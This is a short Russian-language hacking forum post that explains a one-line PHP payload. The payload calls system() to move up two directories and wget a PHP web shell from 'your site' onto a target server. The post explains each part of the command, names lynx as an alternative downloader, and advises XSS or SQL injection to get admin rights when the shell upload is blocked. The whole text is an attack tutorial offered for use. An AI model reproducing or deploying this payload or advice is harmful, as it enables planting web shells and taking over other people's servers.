<? system("cd ../../;wget http://...../shell.php"); ?>

cd ../../ - папка куда залить..
wget - качалка. взависимости еcть ли он на серве..
может быть lynx и т.д.
http://...../shell.php - твой сайт с php-шеллом

Ps: Если скрипт пропускает какие-то символы шел никак не залить. (конечно, может быть случай когда поле "отправить коментарий" выпоняет команду на сервере, но такой случай мы не будем рассматривать)
Поэтому советую xss или sql inj, дабы получить админ права. А у админа больше прав, там уже и до шела не далеко